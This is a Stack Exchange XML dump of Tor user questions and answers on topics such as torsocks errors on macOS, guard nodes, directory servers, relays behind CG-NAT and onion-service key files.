  <row Id="22626" PostTypeId="1" CreationDate="2021-09-01T04:14:29.070" Score="2" ViewCount="1592" Body="&lt;p&gt;I wish to tunnel CLI tools over tor network in macOS 11.5.2&lt;/p&gt;&#xA;&lt;p&gt;None is working.&lt;/p&gt;&#xA;&lt;p&gt;I only installed &lt;code&gt;torsocks&lt;/code&gt;, did no configuration.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;brew install torsocks&#xA;&#xA;torsocks whois example.com&#xA;ERROR: /usr/bin/whois is located in a directory protected by Apple's System Integrity Protection.&#xA;torsocks curl https://www.example.com&#xA;ERROR: /usr/bin/curl is located in a directory protected by Apple's System Integrity Protection.&#xA;torsocks dig +tcp @1.1.1.1 example.com&#xA;ERROR: /usr/bin/dig is located in a directory protected by Apple's System Integrity Protection.&#xA;torsocks openssl s_client -connect exampample.com:443&#xA;ERROR: /usr/bin/openssl is located in a directory protected by Apple's System Integrity Protection.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;torsocks /tmp/curl https://example.com&#xA;[1]    73066 segmentation fault  torsocks /tmp/curl https://example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14832" LastEditorUserId="14832" LastEditDate="2021-09-19T16:41:28.627" LastActivityDate="2021-09-21T07:05:27.813" Title="torsocks on macOS: ERROR: YYY is located in a directory protected by Apple's System Integrity Protection" Tags="|security|mac|torsocks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22628" PostTypeId="2" ParentId="21509" CreationDate="2021-09-01T21:50:11.257" Score="0" Body="&lt;p&gt;I think, I came across similar issue. I use obsf4 bridge to hide a server that my onion website is running on, and I noticed that sometimes my onion goes down. I then have to change bridges IPs and then, after Tor restart the onion becomes available again. I think the bridges are sometimes blacklisted by ISP or just pass away from different reasons.&lt;/p&gt;&#xA;&lt;p&gt;However I think it might be also a case that bridge admins might don't want to have too much traffic on their machines. I posted a separate question on that:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/22627/do-bridge-admins-blacklist-ips&quot;&gt;Do bridge admins blacklist IPs?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33025" LastActivityDate="2021-09-01T21:50:11.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22629" PostTypeId="1" AcceptedAnswerId="22634" CreationDate="2021-09-02T14:27:31.783" Score="0" ViewCount="236" Body="&lt;p&gt;Many years ago I used some days or weeks Tor Browser, but gave up because too slow and especially because of the many CAPTCHAs.&lt;/p&gt;&#xA;&lt;p&gt;Now I have since a few days the Tor Browser set as default and get less CAPTCHA than in normal Firefox (with ad blocker and other privacy addons). I use a VPN with normal Firefox.&lt;/p&gt;&#xA;&lt;p&gt;I am really puzzled why I have less CAPTCHA with Tor browser than with normal Firefox via VPN.&lt;/p&gt;&#xA;&lt;p&gt;Can someone explain this?&lt;/p&gt;&#xA;&lt;p&gt;I check ifconfig.co and see that I really have a different IP.&lt;/p&gt;&#xA;" OwnerUserId="14832" LastActivityDate="2021-09-03T16:29:33.120" Title="I am really puzzled why I have less CAPTCHA with Tor browser than with normal Firefox via VPN" Tags="|tor-browser-bundle|firefox|vpn|add-on|captcha|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22631" PostTypeId="1" CreationDate="2021-09-03T05:56:29.740" Score="0" ViewCount="112" Body="&lt;p&gt;Running netstat and analyzing my established connections I noticed sometimes tor talks to other IPs that aren't my guard node. I'm not sure if this is supposed to happen because I very very new to this. At first I thought this could be my tor choosing it's relays but not sure if this' how it works. I want to know if this is expected.&#xA;I searched for info about this IPs. Some of them are labeled as &amp;quot;tor related&amp;quot; or are exit nodes, others are not. I remember most of them being from Germany, which leads me to another question.&lt;/p&gt;&#xA;&lt;p&gt;Why are there so many German relays? Sometimes all my three relays happen to be from Germany. I heard about end-to-end attacks but don't know if this is the case.&lt;/p&gt;&#xA;&lt;p&gt;Im not posting the ips. My browser's GPG were verified.&lt;/p&gt;&#xA;" OwnerUserId="33182" LastActivityDate="2022-03-03T09:03:25.307" Title="Tor comunicating to other IPs beside my guard node, should it happen?" Tags="|tor-browser-bundle|relays|guard-node|ip-address-leak|tor-network|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22634" PostTypeId="2" ParentId="22629" CreationDate="2021-09-03T16:29:33.120" Score="1" Body="&lt;p&gt;One possibility of running into a lot of CAPTCHAs might be because this VPN is used by many and generating a lot of traffic, hence the websites might be confusing all of it as automated traffic.&lt;br /&gt;&#xA;That said, another thing that might explain why you're seeing less CAPTCHAs since the last time you were using Tor, is the attitude of website owners and administrators towards Tor users might have improved. For instance, if you compare the list of websites in the &lt;a href=&quot;https://gitlab.torproject.org/tpo/team/-/wikis/List-of-services-blocking-Tor#list-of-services-blocking-tor-1&quot; rel=&quot;nofollow noreferrer&quot;&gt;old wiki&lt;/a&gt; and the list of websites and services in the &lt;a href=&quot;https://gitlab.torproject.org/tpo/community/support/-/issues/40013#note_2729589&quot; rel=&quot;nofollow noreferrer&quot;&gt;updated ticket&lt;/a&gt; you might notice that a lot of websites have improved their usability over Tor.&lt;/p&gt;&#xA;" OwnerUserId="31025" LastActivityDate="2021-09-03T16:29:33.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22636" PostTypeId="2" ParentId="22631" CreationDate="2021-09-04T03:46:59.993" Score="0" Body="&lt;p&gt;Yes this is normal. Tor doesn't have a single guard, but instead maintains a &lt;em&gt;guard set&lt;/em&gt; of several guards. You can find these listed in tor's &lt;code&gt;state&lt;/code&gt; file. A tor client may also connect to other relays in order to test their eligibility for being added to this guard set.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-09-04T03:46:59.993" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22637" PostTypeId="1" CreationDate="2021-09-05T12:16:12.423" Score="0" ViewCount="377" Body="&lt;p&gt;if you're a client using a Torbrowser, it's recommended to disable JavaScript.&lt;br&gt;&#xA;&lt;b&gt;But if you're a server providing a service - how to disable JavaScript?&lt;/b&gt;&lt;/p&gt;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="33190" LastActivityDate="2021-09-05T21:20:53.160" Title="How to disable JavaScript on Servers" Tags="|onion-routing|javascript|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22638" PostTypeId="2" ParentId="22637" CreationDate="2021-09-05T21:20:53.160" Score="2" Body="&lt;p&gt;I'm not sure what exactly you mean here; but if you're trying to run a onion service you don't have to deal with JavaScript at all if you don't want to. Just don't include any JavaScript code on the webpages/services you plan to offer via the onion service.&lt;br /&gt;&#xA;If you meant how you can disable &lt;em&gt;all&lt;/em&gt; web servers from delivering JavaScript to the websites you visit, that is not possible. In that case, you'll have to disable JavaScript on the Tor Browser. You can do so by changing the &lt;a href=&quot;https://tb-manual.torproject.org/security-settings/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Security Settings&lt;/a&gt; ('Safer' to disable JS for non-https sites and 'Safest' to completely disable JS). Hope that answers your question!&lt;/p&gt;&#xA;" OwnerUserId="31025" LastActivityDate="2021-09-05T21:20:53.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22640" PostTypeId="2" ParentId="3855" CreationDate="2021-09-09T22:35:18.937" Score="-1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/alecmuffett/eotk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/alecmuffett/eotk&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is a way to do it.&lt;br /&gt;&#xA;There is also a way to do it with OnionShare.&lt;br /&gt;&#xA;&lt;a href=&quot;https://onionshare.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://onionshare.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33225" LastActivityDate="2021-09-09T22:35:18.937" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22641" PostTypeId="2" ParentId="20004" CreationDate="2021-09-10T13:47:12.940" Score="0" Body="&lt;p&gt;Most illegal sites on dark net are scams. If offer has no economic sense for provider (too good to be true) then it is scam.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2021-09-10T13:47:12.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22642" PostTypeId="1" CreationDate="2021-09-11T13:28:18.650" Score="1" ViewCount="934" Body="&lt;p&gt;I’m learning how to use Tor and was wondering how Tor Browser connects to directories. I know that the directories have all info on nodes in the network but how can tor connect to directories if it does not have info on the nodes in the first place?&lt;/p&gt;&#xA;" OwnerDisplayName="user33236" LastActivityDate="2021-09-12T23:39:52.637" Title="Tor directory servers" Tags="|directory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22644" PostTypeId="2" ParentId="21109" CreationDate="2021-09-12T23:26:51.797" Score="0" Body="&lt;p&gt;Well, it's an obvious &lt;strong&gt;flaw&lt;/strong&gt; in Debian - an empty users. To solve this I suggest the next sequence I'm using myself for more than a decade to mend this kind of things:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a &lt;code&gt;nossh&lt;/code&gt; user group and make a sshd config change to make sure that no user belonging to it can do a ssh login&lt;/li&gt;&#xA;&lt;li&gt;Add the desired user like &lt;code&gt;debian-tor&lt;/code&gt;, &lt;code&gt;tor&lt;/code&gt; e.t.c to this group&lt;/li&gt;&#xA;&lt;li&gt;Change the shell to &lt;code&gt;/bin/bash&lt;/code&gt; for the user you need to be working properly&lt;/li&gt;&#xA;&lt;li&gt;Make sure that either in Tor/other-service config file it does the setuidgid() call to change to that user or use a SystemD User and Group service directives to make it from the systemd level - anyway the end result will be the same &lt;strong&gt;except&lt;/strong&gt; the privileged port binding, keep that in mind&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-12T23:26:51.797" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22645" PostTypeId="2" ParentId="19164" CreationDate="2021-09-12T23:31:14.133" Score="0" Body="&lt;p&gt;As you've described it - your particular setup &lt;em&gt;is&lt;/em&gt; secure, but using it carelessly will compromise you if you will make mistakes like phone number verification and personal data sharing e.t.c...&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-12T23:31:14.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22646" PostTypeId="2" ParentId="22642" CreationDate="2021-09-12T23:37:49.337" Score="0" Body="&lt;p&gt;Directories are the only vulnerable part of the Tor network, actually... That's why I've made it different in my project to mitigate it, but it's not related here in a deeper details. Your safety warrant is:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use the latest version of Tor compiled by hand from the sources, fetch the sources through Tor as well - yes, it's not as versatile as I2P's monotone, but it helps to mitigate many attack vectors&lt;/li&gt;&#xA;&lt;li&gt;If you need a fine-grained country filtering like &lt;em&gt;StrictNodes&lt;/em&gt; - use a paid version of GeoIP databse - yes, it helps a lot&lt;/li&gt;&#xA;&lt;li&gt;The recent version of the Tor code contains some built-in defaults, but to have a rel benefit from them - see pt. 1, don't relax having just a pre-built binaries. Also - when building from source, don't forget about Google PerfTools TCMalloc and &lt;code&gt;-mtune=native&lt;/code&gt; compiler directives when building OpenSSL and &lt;strong&gt;all&lt;/strong&gt; the dependencies - it pays it's price twice with speed&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-12T23:37:49.337" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22647" PostTypeId="2" ParentId="22642" CreationDate="2021-09-12T23:39:52.637" Score="1" Body="&lt;p&gt;The list of directory authorities (&lt;code&gt;src/app/config/auth_dirs.inc&lt;/code&gt;), as well as a list of stable default directory caches/mirrors (&lt;code&gt;src/app/config/fallback_dirs.inc&lt;/code&gt;), are built directly into tor.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-09-12T23:39:52.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22648" PostTypeId="2" ParentId="17471" CreationDate="2021-09-12T23:43:55.833" Score="0" Body="&lt;p&gt;Tor acts just like a STunnel - so I do recommend you to use NGinx and point Tor to it via 127.0.0.1 and - using the different server blocks just to raise the corresponding variables, the rest of it will be handled via your web app/site. If you have any further questions - just drop me a line!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-12T23:43:55.833" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22650" PostTypeId="1" AcceptedAnswerId="22651" CreationDate="2021-09-13T12:59:19.653" Score="1" ViewCount="312" Body="&lt;p&gt;I know that it's infeasible for you to find the ip of a hidden service nor find the clients that connect to said service. However, as far as I understand, the ips of a hidden service's introduction points are public knowledge. Can't the feds, who want to shut down illegal services like The Silkroad, just target its introduction points to prevent people from connecting to it? They can just do that constantly every time The Silkroad change their introduction points and they will never be able to service new clients that haven't rendezvous with them yet.&lt;/p&gt;&#xA;" OwnerUserId="33248" LastActivityDate="2021-09-19T16:31:04.640" Title="Can't you DoS attack a hidden service by constantly shutting down its introduction points?" Tags="|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22651" PostTypeId="2" ParentId="22650" CreationDate="2021-09-14T20:22:23.820" Score="2" Body="&lt;p&gt;The introductions of hidden services are actually just random Tor relays chosen anonymously. DDOSing them won't work because the hidden service can choose other Tor relays to act as introduction points and you would only be removing relays from the Tor network.&lt;/p&gt;&#xA;&lt;p&gt;The only actual way to shutdown illegal hidden services is to shutdown the acutal server of the website. Otherwise, the Feds would have easily shutdown every illegal hidden service.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-09-14T20:22:23.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22652" PostTypeId="1" CreationDate="2021-09-15T07:46:05.147" Score="0" ViewCount="690" Body="&lt;p&gt;I set http / https proxy as 127.0.0.1 / 8080 in tor browser and set socks proxy as 127.0.0.1 / 9150 in burpsuite. But whenever i click 'connect' in tb, it doesn't work. what is wrong???&lt;/p&gt;&#xA;&lt;p&gt;OS : win 10 pro 64bit&lt;/p&gt;&#xA;" OwnerDisplayName="user33185" LastActivityDate="2022-02-14T22:02:40.273" Title="Burpsuite and Tor browser problem" Tags="|tor-browser-bundle|configuration|torsocks|web-proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22653" PostTypeId="1" CreationDate="2021-09-15T13:23:00.427" Score="0" ViewCount="270" Body="&lt;pre&gt;&lt;code&gt;Sep 15 20:59:48.986 [notice] Tor v0.2.4.27 (git-412e3f7dc9c6c01a) running on Linux with Libevent 2.0.21-stable and OpenSSL 1.0.1f.&#xA;Sep 15 20:59:48.986 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Sep 15 20:59:48.986 [notice] Read configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;Sep 15 20:59:48.987 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Sep 15 20:59:49.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.&#xA;Sep 15 20:59:49.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.&#xA;Sep 15 20:59:49.000 [warn] You are running Tor as root. You don't need to, and you probably shouldn't.&#xA;Sep 15 20:59:50.000 [notice] Bootstrapped 5%: Connecting to directory server.&#xA;^CSep 15 21:00:37.000 [notice] Interrupt: exiting cleanly.&#xA;gao@ubuntu:~$ sudo ufw disable&#xA;防火墙在系统启动时自动禁用&#xA;gao@ubuntu:~$ sudo tor&#xA;Sep 15 21:02:38.129 [notice] Tor v0.2.4.27 (git-412e3f7dc9c6c01a) running on Linux with Libevent 2.0.21-stable and OpenSSL 1.0.1f.&#xA;Sep 15 21:02:38.129 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Sep 15 21:02:38.130 [notice] Read configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;Sep 15 21:02:38.131 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Sep 15 21:02:38.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.&#xA;Sep 15 21:02:38.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.&#xA;Sep 15 21:02:38.000 [warn] You are running Tor as root. You don't need to, and you probably shouldn't.&#xA;Sep 15 21:02:39.000 [notice] Bootstrapped 5%: Connecting to directory server.```&#xA;&#xA;Above is the error I get when I start tor via terminal, it is stuck at 5% and does not move. &#xA;&#xA;In order to be able to connect properly, I configured the bridge in tor browser with the following configuration&#xA;![tor](https://i.stack.imgur.com/3OW65.jpg)&#xA;![b](https://i.stack.imgur.com/Yredr.jpg)&#xA;  &#xA;&#xA;Thank you very much for answering my questions, it is very important to me！&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33258" LastEditorUserId="33258" LastEditDate="2021-09-15T14:34:26.897" LastActivityDate="2021-09-23T11:37:08.057" Title="The first time I started tor through the terminal, it got stuck at 5%, but clicking on the tor software worked. In China" Tags="|tor-browser-bundle|configuration|ubuntu|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22654" PostTypeId="1" CreationDate="2021-09-15T14:12:08.557" Score="0" ViewCount="96" Body="&lt;p&gt;I am a student and want to study botnets on tor, so I would like to ask what are the botnets that can be used on tor, preferably controlled through C&amp;amp;C. It would be nice to have the source code of the botnet and how to configure it. Or is there a C&amp;amp;C dataset for botnets on tor?&#xA;Thank you very much for your answer!&lt;/p&gt;&#xA;" OwnerUserId="33258" LastActivityDate="2022-02-16T16:01:35.150" Title="What are the botnets that can be used on tor?" Tags="|onion-services|security|circuit|botnet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22656" PostTypeId="1" CreationDate="2021-09-15T23:32:10.993" Score="0" ViewCount="294" Body="&lt;p&gt;When using the Tor Browser, is it safe to connect to Tor via a proxy server? There is an SSH connection between the proxy server and my computer: &lt;code&gt;ssh me@proxyserver -D localhost:9999&lt;/code&gt;. In the Tor Browser's preferences, I configure the browser to connect to Tor via the SOCKS5 proxy at &lt;code&gt;localhost:9999&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hMyts.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hMyts.png&quot; alt=&quot;Tor Browser proxy settings&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is it safe to connect to Tor in this manner? Will the proxy server be able to eavesdrop on the data sent to and from the Tor Browser?&lt;/p&gt;&#xA;" OwnerUserId="27182" LastEditorUserId="27182" LastEditDate="2021-09-17T05:28:38.917" LastActivityDate="2022-02-15T01:03:25.330" Title="Tor Browser: Is it safe to connect to Tor via a proxy server?" Tags="|tor-browser-bundle|proxy|socks|ssh|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22657" PostTypeId="2" ParentId="11994" CreationDate="2021-09-16T16:44:33.720" Score="0" Body="&lt;p&gt;Further info:&#xA;As said above, if you want to access pages on your local network via the Tor Browser you can't by default - why not, and why it isn't an option in the main configuration, is beyond me!&lt;/p&gt;&#xA;&lt;p&gt;How to Fix:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Type in to the address bar &amp;quot;about:config&amp;quot; - ignore the quotes!&lt;/li&gt;&#xA;&lt;li&gt;Type &amp;quot;network.proxy.no_proxies_on&amp;quot; in to the search bar.&lt;/li&gt;&#xA;&lt;li&gt;Click on the pen icon and copy / paste the following in to the blank box:&#xA;&amp;quot;localhost, 127.0.0.1, 192.168.0.0/24&amp;quot; - again without the quotes!&lt;/li&gt;&#xA;&lt;li&gt;Hit Enter/Return&#xA;Tor will be disabled for everything inside your local network but still work in the big, bad, world!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Note:&#xA;192.168.0.0/24 - will disable Tor assuming the local IP addresses assigned by your router are of the form 192.168.0.x&#xA;If this is not the case you will need to swap this value for the one your router does provide, eg:&#xA;If 192.168.1.x then 192.168.1.0/24, and so on.&#xA;Do take care not to get cute and try to expand the range too much. Any address you 'disable' is disabled everywhere.&lt;/p&gt;&#xA;&lt;p&gt;P.S.&#xA;As a point of security most/many routers assign LAN addresses in the form 192.168.0.x or 192.168.1.x The result is 'naughty' software looks for these IP addresses when trying to do 'naughty' things. It's not a bad idea at all to reconfigure your router for another less commonly used address range, eg: 10.55.101.x or whatever, and if possible set it to automatically reboot once a week at a time when a reboot won't matter.&lt;/p&gt;&#xA;" OwnerUserId="33265" LastActivityDate="2021-09-16T16:44:33.720" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22658" PostTypeId="1" CreationDate="2021-09-16T18:24:05.273" Score="0" ViewCount="304" Body="&lt;p&gt;I'm trying to setup Tor Exit Node but I'm behind CG-NAT. I came across the idea of port-forwarding my local ORPort to a VPS which has Public IP and is accessible to world.&lt;/p&gt;&#xA;&lt;p&gt;For communication between my local PC (hosting Tor node) and VPS, I use &lt;a href=&quot;https://tailscale.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;tailscale&lt;/a&gt; which just works out of the box. I installed tailscale on both devices and ORPort is accessible to VPS. Here is the diagram to simplify it:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CDtj1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CDtj1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To make TOR work, the port must be accessible publicly on given Public IP. It fails to do Self-check. Below is the diagram depicting expected behavior&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cVEZO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cVEZO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have tired setting up &lt;code&gt;Nginx&lt;/code&gt;, &lt;code&gt;Envoy&lt;/code&gt;, &lt;code&gt;iptables&lt;/code&gt;, &lt;code&gt;socat&lt;/code&gt; on VPS but none of them seem to work with ORPort&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Socat&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;socat TCP-LISTEN:9029,fork,reuseaddr TCP:100.72.86.30:9029&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;iptables&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;iptables -I FORWARD -d 100.72.86.30 -m tcp -p tcp --dport 9029 -j ACCEPT &#xA;iptables -t nat -I PREROUTING -m tcp -p tcp ! -i tailscale0 --dport 9029 -j DNAT --to-destination 100.72.86.30:9029&#xA;iptables -t nat -I POSTROUTING -d 100.72.86.30 -o tailscale0 -j MASQUERADE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I feel port-forwarding is working but something is there in ORPort maybe a security thing that is not allowing it to accept connections.&lt;/p&gt;&#xA;&lt;p&gt;I know that there is no configuration issue because the same works if I directly run on VPS. It is configured to accept traffic from &lt;code&gt;0.0.0.0&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried reducing the route to find the root cause of it. I'm running tor on VPS along with haproxy. When I put haproxy port for advertising, self-check doesn't pass. However, if I start advertising tor's actual orport then it passes. What a weird behavior. From tcpdump, I can see tor is receiving connection in both conditions but haproxy is just not passing.&lt;/p&gt;&#xA;&lt;p&gt;I'm stuck on it for over a week. Any help will be appreciated &lt;/p&gt;&#xA;" OwnerUserId="22583" LastEditorUserId="22583" LastEditDate="2021-09-24T19:58:17.153" LastActivityDate="2022-02-21T20:06:55.613" Title="Access ORPort via tailscale" Tags="|configuration|iptables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22659" PostTypeId="2" ParentId="22658" CreationDate="2021-09-17T04:53:11.740" Score="0" Body="&lt;p&gt;Try setting the &lt;code&gt;Address&lt;/code&gt; option in your torrc file to the public address of your VPS. From the tor man page:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Address address&#xA;     The IPv4 address of this server, or a fully qualified domain name of this server that resolves to an IPv4 address. You can leave this unset, and&#xA;     Tor will try to guess your IPv4 address. This IPv4 address is the one used to tell clients and other servers where to find your Tor server; it&#xA;     doesn’t affect the address that your server binds to. To bind to a different address, use the ORPort and OutboundBindAddress options.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-09-17T04:53:11.740" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22660" PostTypeId="2" ParentId="22656" CreationDate="2021-09-17T20:21:47.220" Score="0" Body="&lt;p&gt;yes it's safe, because the directory services' keys are hardcoded into the Tor source code itself so no data breach will be possible. The proxy is just a way to connect to the dir's and peers. But if you're behind the proxy - then you will be unable to accept &lt;code&gt;ORPort&lt;/code&gt; incoming connections and it's not good for the speed and decentralization of the network.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-17T20:21:47.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22661" PostTypeId="2" ParentId="22652" CreationDate="2021-09-17T20:27:23.947" Score="0" Body="&lt;p&gt;Check your tb logs - the Tor Browser Bundle has it's own tor supplied with it and until it's 100% bootstrapped - neither a side app(burpsuite in your case) nor the tb itself will not work. The Tb's Tor log has a full answer for your problem, it's nowhere else to look&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-17T20:27:23.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22662" PostTypeId="2" ParentId="22658" CreationDate="2021-09-17T20:34:21.410" Score="0" Body="&lt;p&gt;Tailscale is not the right choice to do it out of the box and you need it vice versa: you need to use OpenVPN from your NAT'ed box to the VPS and the client here should be a NAT'ed box. After that just forward the port VPS-&amp;gt;NATed via static OpenVPN internal IP's &lt;strong&gt;and&lt;/strong&gt; make the NAT for tor process user through the VPN tunnel. Then self-check will succeed and everything else will work out of the box. Don't forget to bind ORPort to the VPN internal IP and set the external address of your VPS server in your &lt;code&gt;torrc&lt;/code&gt; !&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-17T20:34:21.410" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22663" PostTypeId="1" CreationDate="2021-09-18T07:43:02.000" Score="2" ViewCount="1497" Body="&lt;p&gt;I'm making an onion (v3) address generator in Python. Here is the part that generates the keypair:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from cryptography.hazmat.primitives import serialization&#xA;from cryptography.hazmat.primitives.asymmetric import x25519&#xA;&#xA;def v3KeyGen():&#xA;    private_key = x25519.X25519PrivateKey.generate()&#xA;    private_bytes = private_key.private_bytes(encoding=serialization.Encoding.Raw, format=serialization.PrivateFormat.Raw, encryption_algorithm=serialization.NoEncryption())&#xA;&#xA;    public_key = private_key.public_key()&#xA;    public_bytes = public_key.public_bytes(encoding=serialization.Encoding.Raw, format=serialization.PublicFormat.Raw)&#xA;&#xA;    return public_bytes, private_bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What file format do I put the keys in (e.g. the format of the &lt;code&gt;hs_ed25519_secret_key&lt;/code&gt; file), to get them to actually work with something like a Tor hidden service? Right now I have these keys, but have no idea how I actually get Tor to use them.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; This is what an example private key file generated by Tor itself looks like, with some sort of binary data, I have no idea how to interpret it:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/epLLW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/epLLW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33270" LastEditorUserId="33270" LastEditDate="2021-09-18T21:46:22.420" LastActivityDate="2023-04-06T17:41:58.280" Title="Put Ed25519 keys in usable file format for Tor" Tags="|onion-services|private-key|address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
